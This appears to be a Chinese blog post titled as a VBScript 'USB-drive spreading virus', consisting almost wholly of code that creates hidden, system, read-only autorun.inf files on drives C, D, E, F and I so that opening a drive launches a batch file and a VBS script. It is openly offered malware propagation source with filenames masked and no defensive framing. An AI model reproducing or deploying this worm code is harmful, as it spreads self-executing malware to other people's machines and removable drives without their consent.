vbsU盘传播病毒

最新推荐文章于 2022-02-25 20:00:37 发布

iteye_608

最新推荐文章于 2022-02-25 20:00:37 发布

阅读量211

点赞数

分类专栏： VBScript 文章标签： C C++ C# F#

VBScript 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

If fso.FileExists("C:\autorun.inf") Then 
Set objFolder = fso.GetFile("C:\autorun.inf") 
Else 
wsh.run "cmd /c echo [AutoRun]>>C:\autorun.inf"_ 
&"&& echo open=XXXXXXX.bat >>C:\autorun.inf"_ 
&"&& echo shellexecute=XXXXXXXX.bat >>C:\autorun.inf"_ 
&"&& echo shell\Auto\command=XXXXXXX.bat>>C:\autorun.inf"_ 
&"&& echo shell=Auto>>C:\autorun.inf"_ 
&"&& attrib +h +s +r C:\autorun.inf" 
set autobatc=fso.createtextfile("c:\XXXXXX.bat",1,ture) 
autobatc.writeline("XXXXXX.vbs") 
End If 
If fso.FileExists("D:\autorun.inf") Then 
Set objFolder = fso.GetFile("D:\autorun.inf") 
Else 
wsh.run "cmd /c echo [AutoRun]>>D:\autorun.inf"_ 
&"&& echo open=XXXXXXX.bat >>D:\autorun.inf"_ 
&"&& echo shellexecute=XXXXXX.bat >>D:\autorun.inf"_ 
&"&& echo shell\Auto\command=XXXXXX.bat>>D:\autorun.inf"_ 
&"&& echo shell=Auto>>D:\autorun.inf"_ 
&"&& attrib +h +s +r D:\autorun.inf" 
set autobatd=fso.createtextfile("D:\XXXXX.bat",1,ture) 
autobatd.writeline("XXXX.vbs") 
End If 
If fso.FileExists("E:\autorun.inf") Then 
Set objFolder = fso.GetFile("E:\autorun.inf") 
Else 
wsh.run "cmd /c echo [AutoRun]>>E:\autorun.inf"_ 
&"&& echo open=XXXXX.bat >>E:\autorun.inf"_ 
&"&& echo shellexecute=XXXXX.bat >>E:\autorun.inf"_ 
&"&& echo shell\Auto\command=XXXXX.bat>>E:\autorun.inf"_ 
&"&& echo shell=Auto>>E:\autorun.inf"_ 
&"&& attrib +h +s +r E:\autorun.inf" 
set autobate=fso.createtextfile("E:\XXXXX.bat",1,ture) 
autobate.writeline("XXXXXX.vbs") 
End If 
If fso.FileExists("F:\autorun.inf") Then 
Set objFolder = fso.GetFile("F:\autorun.inf") 
Else 
wsh.run "cmd /c echo [AutoRun]>>F:\autorun.inf"_ 
&"&& echo open=NXXXX.bat >>F:\autorun.inf"_ 
&"&& echo shellexecute=XXXXXX.bat >>F:\autorun.inf"_ 
&"&& echo shell\Auto\command=XXXXX.bat>>F:\autorun.inf"_ 
&"&& echo shell=Auto>>F:\autorun.inf"_ 
&"&& attrib +h +s +r F:\autorun.inf" 
set autobatf=fso.createtextfile("F:\XXXXX",1,ture) 
autobatf.writeline("XXXXXX.vbs") 
End If 
If fso.FileExists("I:\autorun.inf") Then 
Set objFolder = fso.GetFile("I:\autorun.inf") 
Else 
wsh.run "cmd /c echo [AutoRun]>>I:\autorun.inf"_ 
&"&& echo open=XXXXX.bat >>I:\autorun.inf"_ 
&"&& echo shellexecute=XXXXX.bat >>I:\autorun.inf"_ 
&"&& echo shell\Auto\command=XXXXXX.bat>>I:\autorun.inf"_ 
&"&& echo shell=Auto>>I:\autorun.inf"_ 
&"&& attrib +h +s +r I:\autorun.inf" 
set autobatf=fso.createtextfile("I:\XXXXX.bat",1,ture) 
autobatf.writeline("XXXXXXX.vbs") 
End If